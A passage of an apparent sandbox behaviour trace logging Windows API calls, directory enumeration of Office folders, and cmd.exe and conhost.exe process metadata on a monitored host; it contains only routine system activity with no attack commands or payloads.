	[0191.729] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x40d98f0 | out: hHeap=0x750000) returned 1
	[0191.729] FindNextFileW (in: hFindFile=0x3fb2658, lpFindFileData=0x35eee10 | out: lpFindFileData=0x35eee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd42039, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x895576a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x895576a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bin", cAlternateFileName="")) returned 0
	[0191.729] FindClose (in: hFindFile=0x3fb2658 | out: hFindFile=0x3fb2658) returned 1
	[0191.729] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x3fc3078 | out: hHeap=0x750000) returned 1
	[0191.729] FindNextFileW (in: hFindFile=0x3fb2798, lpFindFileData=0x35ef08c | out: lpFindFileData=0x35ef08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1992fb3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1992fb3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2283d0f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3688, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSOSEC.DLL", cAlternateFileName="")) returned 1
	[0191.731] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x3fc3078 | out: hHeap=0x750000) returned 1
	[0191.731] FindNextFileW (in: hFindFile=0x3fb2798, lpFindFileData=0x35ef08c | out: lpFindFileData=0x35ef08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd42039, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1525a179, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1525a179, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Power View Excel Add-in", cAlternateFileName="POWERV~1")) returned 1
	[0191.733] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x40d98f0 | out: hHeap=0x750000) returned 1
	[0191.733] FindNextFileW (in: hFindFile=0x3fb2718, lpFindFileData=0x35eee10 | out: lpFindFileData=0x35eee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf12dd5ae, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x133819a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x133819a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg", cAlternateFileName="")) returned 1
	[0191.735] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x40d98f0 | out: hHeap=0x750000) returned 1
	[0191.735] FindNextFileW (in: hFindFile=0x3fb2718, lpFindFileData=0x35eee10 | out: lpFindFileData=0x35eee10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x133a7bf5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x133a7bf5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x133cde53, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4090, dwReserved0=0x0, dwReserved1=0x0, cFileName="BI-Report.png", cAlternateFileName="BI-REP~1.PNG")) returned 1
	[0191.737] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x40d98f0 | out: hHeap=0x750000) returned 1
	[0191.737] FindNextFileW (in: hFindFile=0x3fb2718, lpFindFileData=0x35eee10 | out: lpFindFileData=0x35eee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf9a9d821, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x133cde53, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x133cde53, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs", cAlternateFileName="")) returned 1
	[0192.035] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x40d98f0 | out: hHeap=0x750000) returned 1
	[0193.501] FindNextFileW (in: hFindFile=0x3fb2718, lpFindFileData=0x35eee10 | out: lpFindFileData=0x35eee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6a6473, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1341a2e5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1341a2e5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da", cAlternateFileName="")) returned 1

Process:
	id = "14"
	image_name = "cmd.exe"
	filename = "c:\\windows\\system32\\cmd.exe"
	page_root = "0x5a8f1000"
	os_pid = "0xf14"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "13"
	os_parent_pid = "0xf04"
	cmd_line = "\"C:\\WINDOWS\\system32\\cmd.exe\""
	cur_dir = "C:\\WINDOWS\\system32\\"
	os_username = "NQDPDE\\FD1HVy"
	bitness = "32"
	os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:00011cf4" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 82
	os_tid = 0xf18

	[0191.431] GetModuleHandleW (lpModuleName=0x0) returned 0x7ff640c60000
	[0191.431] __set_app_type (_Type=0x1) 
	[0191.431] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x7ff640c76d00) returned 0x0
	[0191.431] __getmainargs (in: _Argc=0x7ff640c99200, _Argv=0x7ff640c99208, _Env=0x7ff640c99210, _DoWildCard=0, _StartInfo=0x7ff640c9921c | out: _Argc=0x7ff640c99200, _Argv=0x7ff640c99208, _Env=0x7ff640c99210) returned 0
	[0191.431] _onexit (_Func=0x7ff640c77fd0) returned 0x7ff640c77fd0
	[0191.431] _onexit (_Func=0x7ff640c77fe0) returned 0x7ff640c77fe0
	[0191.432] _onexit (_Func=0x7ff640c77ff0) returned 0x7ff640c77ff0
	[0191.432] _onexit (_Func=0x7ff640c78000) returned 0x7ff640c78000
	[0191.432] _onexit (_Func=0x7ff640c78010) returned 0x7ff640c78010
	[0191.433] _onexit (_Func=0x7ff640c78020) returned 0x7ff640c78020
	[0191.433] GetCurrentThreadId () returned 0xf18
	[0191.433] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0xf18) returned 0x70
	[0191.433] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x7ff8558d0000
	[0191.433] GetProcAddress (hModule=0x7ff8558d0000, lpProcName="SetThreadUILanguage") returned 0x7ff8558ea990
	[0191.433] SetThreadUILanguage (LangId=0x0) returned 0x409
	[0191.595] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1
	[0191.595] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x912d8ffa88 | out: phkResult=0x912d8ffa88*=0x0) returned 0x2
	[0191.595] VirtualQuery (in: lpAddress=0x912d8ffa74, lpBuffer=0x912d8ff9f0, dwLength=0x30 | out: lpBuffer=0x912d8ff9f0*(BaseAddress=0x912d8ff000, AllocationBase=0x912d800000, AllocationProtect=0x4, __alignment1=0xffffaf8d, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0191.595] VirtualQuery (in: lpAddress=0x912d800000, lpBuffer=0x912d8ff9f0, dwLength=0x30 | out: lpBuffer=0x912d8ff9f0*(BaseAddress=0x912d800000, AllocationBase=0x912d800000, AllocationProtect=0x4, __alignment1=0xffffaf8d, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0191.595] VirtualQuery (in: lpAddress=0x912d801000, lpBuffer=0x912d8ff9f0, dwLength=0x30 | out: lpBuffer=0x912d8ff9f0*(BaseAddress=0x912d801000, AllocationBase=0x912d800000, AllocationProtect=0x4, __alignment1=0xffffaf8d, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0191.595] VirtualQuery (in: lpAddress=0x912d804000, lpBuffer=0x912d8ff9f0, dwLength=0x30 | out: lpBuffer=0x912d8ff9f0*(BaseAddress=0x912d804000, AllocationBase=0x912d800000, AllocationProtect=0x4, __alignment1=0xffffaf8d, RegionSize=0xfc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0191.595] VirtualQuery (in: lpAddress=0x912d900000, lpBuffer=0x912d8ff9f0, dwLength=0x30 | out: lpBuffer=0x912d8ff9f0*(BaseAddress=0x912d900000, AllocationBase=0x912d900000, AllocationProtect=0x4, __alignment1=0xffffaf8d, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0191.595] GetConsoleOutputCP () returned 0x1b5
	[0192.194] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff640c9fbb0 | out: lpCPInfo=0x7ff640c9fbb0) returned 1
	[0192.194] SetConsoleCtrlHandler (HandlerRoutine=0x7ff640c88150, Add=1) returned 1
	[0192.194] _get_osfhandle (_FileHandle=1) returned 0x254
	[0192.194] GetConsoleMode (in: hConsoleHandle=0x254, lpMode=0x7ff640c9fc04 | out: lpMode=0x7ff640c9fc04) returned 0
	[0192.194] _get_osfhandle (_FileHandle=0) returned 0x248
	[0192.194] GetConsoleMode (in: hConsoleHandle=0x248, lpMode=0x7ff640c9fc00 | out: lpMode=0x7ff640c9fc00) returned 0
	[0192.194] _get_osfhandle (_FileHandle=1) returned 0x254
	[0192.194] SetConsoleMode (hConsoleHandle=0x254, dwMode=0x0) returned 0
	[0192.195] _get_osfhandle (_FileHandle=1) returned 0x254
	[0192.195] GetConsoleMode (in: hConsoleHandle=0x254, lpMode=0x7ff640c9fc08 | out: lpMode=0x7ff640c9fc08) returned 0
	[0192.195] _get_osfhandle (_FileHandle=0) returned 0x248
	[0192.195] GetConsoleMode (in: hConsoleHandle=0x248, lpMode=0x7ff640c9fc0c | out: lpMode=0x7ff640c9fc0c) returned 0
	[0192.195] GetEnvironmentStringsW () returned 0x1e28fde5a10*
	[0192.195] GetProcessHeap () returned 0x1e28fde0000
	[0192.195] RtlAllocateHeap (HeapHandle=0x1e28fde0000, Flags=0x8, Size=0xa7c) returned 0x1e28fde64a0
	[0192.195] FreeEnvironmentStringsA (penv="A") returned 1
	[0192.195] GetProcessHeap () returned 0x1e28fde0000
	[0192.195] RtlAllocateHeap (HeapHandle=0x1e28fde0000, Flags=0x8, Size=0x8) returned 0x1e28fde6f30
	[0192.195] GetEnvironmentStringsW () returned 0x1e28fde5a10*
	[0192.195] GetProcessHeap () returned 0x1e28fde0000
	[0192.195] RtlAllocateHeap (HeapHandle=0x1e28fde0000, Flags=0x8, Size=0xa7c) returned 0x1e28fde6f50
	[0192.195] FreeEnvironmentStringsA (penv="A") returned 1
	[0192.195] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x912d8fe938 | out: phkResult=0x912d8fe938*=0x7c) returned 0x0
	[0192.196] RegQueryValueExW (in: hKey=0x7c, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x912d8fe930, lpData=0x912d8fe950, lpcbData=0x912d8fe934*=0x1000 | out: lpType=0x912d8fe930*=0x0, lpData=0x912d8fe950*=0x4, lpcbData=0x912d8fe934*=0x1000) returned 0x2
	[0192.196] RegQueryValueExW (in: hKey=0x7c, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x912d8fe930, lpData=0x912d8fe950, lpcbData=0x912d8fe934*=0x1000 | out: lpType=0x912d8fe930*=0x4, lpData=0x912d8fe950*=0x1, lpcbData=0x912d8fe934*=0x4) returned 0x0
	[0192.196] RegQueryValueExW (in: hKey=0x7c, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x912d8fe930, lpData=0x912d8fe950, lpcbData=0x912d8fe934*=0x1000 | out: lpType=0x912d8fe930*=0x0, lpData=0x912d8fe950*=0x1, lpcbData=0x912d8fe934*=0x1000) returned 0x2
	[0192.196] RegQueryValueExW (in: hKey=0x7c, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x912d8fe930, lpData=0x912d8fe950, lpcbData=0x912d8fe934*=0x1000 | out: lpType=0x912d8fe930*=0x4, lpData=0x912d8fe950*=0x0, lpcbData=0x912d8fe934*=0x4) returned 0x0
	[0192.196] RegQueryValueExW (in: hKey=0x7c, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x912d8fe930, lpData=0x912d8fe950, lpcbData=0x912d8fe934*=0x1000 | out: lpType=0x912d8fe930*=0x4, lpData=0x912d8fe950*=0x40, lpcbData=0x912d8fe934*=0x4) returned 0x0
	[0192.196] RegQueryValueExW (in: hKey=0x7c, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x912d8fe930, lpData=0x912d8fe950, lpcbData=0x912d8fe934*=0x1000 | out: lpType=0x912d8fe930*=0x4, lpData=0x912d8fe950*=0x40, lpcbData=0x912d8fe934*=0x4) returned 0x0
	[0192.196] RegQueryValueExW (in: hKey=0x7c, lpValueName="AutoRun", lpReserved=0x0, lpType=0x912d8fe930, lpData=0x912d8fe950, lpcbData=0x912d8fe934*=0x1000 | out: lpType=0x912d8fe930*=0x0, lpData=0x912d8fe950*=0x40, lpcbData=0x912d8fe934*=0x1000) returned 0x2
	[0192.196] RegCloseKey (hKey=0x7c) returned 0x0
	[0192.196] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x912d8fe938 | out: phkResult=0x912d8fe938*=0x7c) returned 0x0
	[0192.196] RegQueryValueExW (in: hKey=0x7c, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x912d8fe930, lpData=0x912d8fe950, lpcbData=0x912d8fe934*=0x1000 | out: lpType=0x912d8fe930*=0x0, lpData=0x912d8fe950*=0x40, lpcbData=0x912d8fe934*=0x1000) returned 0x2
	[0192.196] RegQueryValueExW (in: hKey=0x7c, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x912d8fe930, lpData=0x912d8fe950, lpcbData=0x912d8fe934*=0x1000 | out: lpType=0x912d8fe930*=0x4, lpData=0x912d8fe950*=0x1, lpcbData=0x912d8fe934*=0x4) returned 0x0
	[0192.196] RegQueryValueExW (in: hKey=0x7c, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x912d8fe930, lpData=0x912d8fe950, lpcbData=0x912d8fe934*=0x1000 | out: lpType=0x912d8fe930*=0x0, lpData=0x912d8fe950*=0x1, lpcbData=0x912d8fe934*=0x1000) returned 0x2
	[0192.196] RegQueryValueExW (in: hKey=0x7c, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x912d8fe930, lpData=0x912d8fe950, lpcbData=0x912d8fe934*=0x1000 | out: lpType=0x912d8fe930*=0x4, lpData=0x912d8fe950*=0x0, lpcbData=0x912d8fe934*=0x4) returned 0x0
	[0192.196] RegQueryValueExW (in: hKey=0x7c, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x912d8fe930, lpData=0x912d8fe950, lpcbData=0x912d8fe934*=0x1000 | out: lpType=0x912d8fe930*=0x4, lpData=0x912d8fe950*=0x9, lpcbData=0x912d8fe934*=0x4) returned 0x0
	[0192.196] RegQueryValueExW (in: hKey=0x7c, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x912d8fe930, lpData=0x912d8fe950, lpcbData=0x912d8fe934*=0x1000 | out: lpType=0x912d8fe930*=0x4, lpData=0x912d8fe950*=0x9, lpcbData=0x912d8fe934*=0x4) returned 0x0
	[0192.196] RegQueryValueExW (in: hKey=0x7c, lpValueName="AutoRun", lpReserved=0x0, lpType=0x912d8fe930, lpData=0x912d8fe950, lpcbData=0x912d8fe934*=0x1000 | out: lpType=0x912d8fe930*=0x0, lpData=0x912d8fe950*=0x9, lpcbData=0x912d8fe934*=0x1000) returned 0x2
	[0192.196] RegCloseKey (hKey=0x7c) returned 0x0
	[0192.196] time (in: timer=0x0 | out: timer=0x0) returned 0x5e449b7f
	[0192.196] srand (_Seed=0x5e449b7f) 
	[0192.196] GetCommandLineW () returned="\"C:\\WINDOWS\\system32\\cmd.exe\""
	[0192.196] malloc (_Size=0x4000) returned 0x1e28ffe54f0
	[0192.197] GetCommandLineW () returned="\"C:\\WINDOWS\\system32\\cmd.exe\""
	[0192.197] malloc (_Size=0xffce) returned 0x1e28fff0080
	[0192.197] ??_V@YAXPEAX@Z () returned 0x1e28fff0080
	[0192.198] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x1e28fff0080 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13
	[0192.198] malloc (_Size=0xffce) returned 0x1e290000060
	[0192.198] ??_V@YAXPEAX@Z () returned 0x1e290000060
	[0192.199] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x1e290000060, nSize=0x7fe7 | out: lpFilename="C:\\WINDOWS\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")) returned 0x1b
	[0192.199] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff640c9bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb
	[0192.199] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff640c9bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0192.199] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x7ff640c9bb90, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0192.200] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13
	[0192.200] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11
	[0192.200] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13
	[0192.200] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13
	[0192.200] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12
	[0192.200] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4
	[0192.200] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2
	[0192.200] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8
	[0192.200] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1
	[0192.200] GetProcessHeap () returned 0x1e28fde0000
	[0192.200] RtlFreeHeap (HeapHandle=0x1e28fde0000, Flags=0x0, BaseAddress=0x1e28fde64a0) returned 1
	[0192.200] GetEnvironmentStringsW () returned 0x1e28fde5a10*
	[0192.200] GetProcessHeap () returned 0x1e28fde0000
	[0192.200] RtlAllocateHeap (HeapHandle=0x1e28fde0000, Flags=0x8, Size=0xa94) returned 0x1e28fde7a10
	[0192.200] FreeEnvironmentStringsA (penv="A") returned 1
	[0192.201] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x7ff640c9bb90, nSize=0x2000 | out: lpBuffer="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1b
	[0192.201] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x7ff640c9bb90, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0192.201] _wcsicmp (_String1="KEYS", _String2="CD") returned 8
	[0192.201] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6
	[0192.201] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8
	[0192.201] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8
	[0192.201] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7
	[0192.201] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9
	[0192.201] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7
	[0192.201] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3
	[0192.201] malloc (_Size=0xffce) returned 0x1e290010040
	[0192.201] ??_V@YAXPEAX@Z () returned 0x1e290010040
	[0192.202] GetProcessHeap () returned 0x1e28fde0000
	[0192.202] RtlAllocateHeap (HeapHandle=0x1e28fde0000, Flags=0x8, Size=0x38) returned 0x1e28fde84b0
	[0192.202] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x1e290010040 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13
	[0192.202] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32", nBufferLength=0x7fe7, lpBuffer=0x1e290010040, lpFilePart=0x912d8ff4b0 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0x912d8ff4b0*="system32") returned 0x13
	[0192.202] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32" (normalized: "c:\\windows\\system32")) returned 0x10
	[0192.202] FindFirstFileW (in: lpFileName="C:\\WINDOWS", lpFindFileData=0x912d8ff1e0 | out: lpFindFileData=0x912d8ff1e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c4849dd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0xc838b81d, ftLastAccessTime.dwHighDateTime=0x1d41dc3, ftLastWriteTime.dwLowDateTime=0xc838b81d, ftLastWriteTime.dwHighDateTime=0x1d41dc3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 0x1e28fde84f0
	[0192.203] FindClose (in: hFindFile=0x1e28fde84f0 | out: hFindFile=0x1e28fde84f0) returned 1
	[0192.203] FindFirstFileW (in: lpFileName="C:\\Windows\\system32", lpFindFileData=0x912d8ff1e0 | out: lpFindFileData=0x912d8ff1e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c4849dd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0x310f98bc, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x310f98bc, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System32", cAlternateFileName="")) returned 0x1e28fde84f0
	[0192.203] FindClose (in: hFindFile=0x1e28fde84f0 | out: hFindFile=0x1e28fde84f0) returned 1
	[0192.203] GetFileAttributesW (lpFileName="C:\\Windows\\System32" (normalized: "c:\\windows\\system32")) returned 0x10
	[0192.203] SetCurrentDirectoryW (lpPathName="C:\\Windows\\System32" (normalized: "c:\\windows\\system32")) returned 1
	[0192.203] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Windows\\System32") returned 1
	[0192.203] GetProcessHeap () returned 0x1e28fde0000
	[0192.203] RtlFreeHeap (HeapHandle=0x1e28fde0000, Flags=0x0, BaseAddress=0x1e28fde7a10) returned 1
	[0192.203] GetEnvironmentStringsW () returned 0x1e28fde84f0*
	[0192.203] GetProcessHeap () returned 0x1e28fde0000
	[0192.203] RtlAllocateHeap (HeapHandle=0x1e28fde0000, Flags=0x8, Size=0xac4) returned 0x1e28fde5a10
	[0192.203] FreeEnvironmentStringsA (penv="=") returned 1
	[0192.203] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x1e28fff0080 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13
	[0192.203] GetProcessHeap () returned 0x1e28fde0000
	[0192.203] RtlFreeHeap (HeapHandle=0x1e28fde0000, Flags=0x0, BaseAddress=0x1e28fde84b0) returned 1
	[0192.203] ??_V@YAXPEAX@Z () returned 0x1
	[0192.203] ??_V@YAXPEAX@Z () returned 0x1
	[0192.203] GetProcessHeap () returned 0x1e28fde0000
	[0192.203] RtlAllocateHeap (HeapHandle=0x1e28fde0000, Flags=0x8, Size=0x4016) returned 0x1e28fde7a10
	[0192.204] GetProcessHeap () returned 0x1e28fde0000
	[0192.204] RtlFreeHeap (HeapHandle=0x1e28fde0000, Flags=0x0, BaseAddress=0x1e28fde7a10) returned 1
	[0192.204] GetConsoleOutputCP () 

Thread:
	id = 107
	os_tid = 0xf94


Process:
	id = "15"
	image_name = "conhost.exe"
	filename = "c:\\windows\\system32\\conhost.exe"
	page_root = "0x2dcb0000"
	os_pid = "0xf28"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "14"
	os_parent_pid = "0xf14"
	cmd_line = "\\??\\C:\\WINDOWS\\system32\\conhost.exe 0xffffffff -ForceV1"
	cur_dir = "C:\\WINDOWS"
	os_username = "NQDPDE\\FD1HVy"
	bitness = "32"
	os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:00011cf4" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 86
	os_tid = 0xf2c


Thread:
	id = 89
	os_tid = 0xf38


Thread:
	id = 100
	os_tid = 0xf68


Thread:
	id = 104
	os_tid = 0xf88


Thread:
	id = 106
	os_tid = 0xf90


Process:
	id = "16"
	image_name = "cmd.exe"
	filename = "c:\\windows\\system32\\cmd.exe"
	page_root = "0x2dd4d000"
	os_pid = "0xf6c"
	os_integrity_level = "0x2000"
	os_privileges = "0x40800000"
	monitor_reason = "child_process"
	parent_id = "6"
	os_parent_pid = "0xd50"
	cmd_line = "\"C:\\WINDOWS\\system32\\cmd.exe\""
	cur_dir = "C:\\WINDOWS\\system32\\"
	os_username = "NQDPDE\\FD1HVy"
	bitness = "32"
	os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:00011cf4" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 101
	os_tid = 0xf70


Process:
	id = "17"
	image_name = "conhost.exe"
	filename = "c:\\windows\\system32\\conhost.exe"
	page_root = "0x4ecf3000"
	os_pid = "0xf74"
	os_integrity_level = "0x2000"
	os_privileges = "0x40800000"
	monitor_reason = "child_process"
	parent_id = "16"
	os_parent_pid = "0xf6c"
	cmd_line = "\\??\\C:\\WINDOWS\\system32\\conhost.exe 0xffffffff -ForceV1"
	cur_dir = "C:\\WINDOWS"
	os_username = "NQDPDE\\FD1HVy"
	bitness = "32"
	os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:00011cf4" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 102
	os_tid = 0xf78


Thread:
	id = 103
	os_tid = 0xf80


Thread:
	id = 105
	os_tid = 0xf8c


Thread:
	id = 108
	os_tid = 0xf98


Thread:
	id = 109
	os_tid = 0xf9c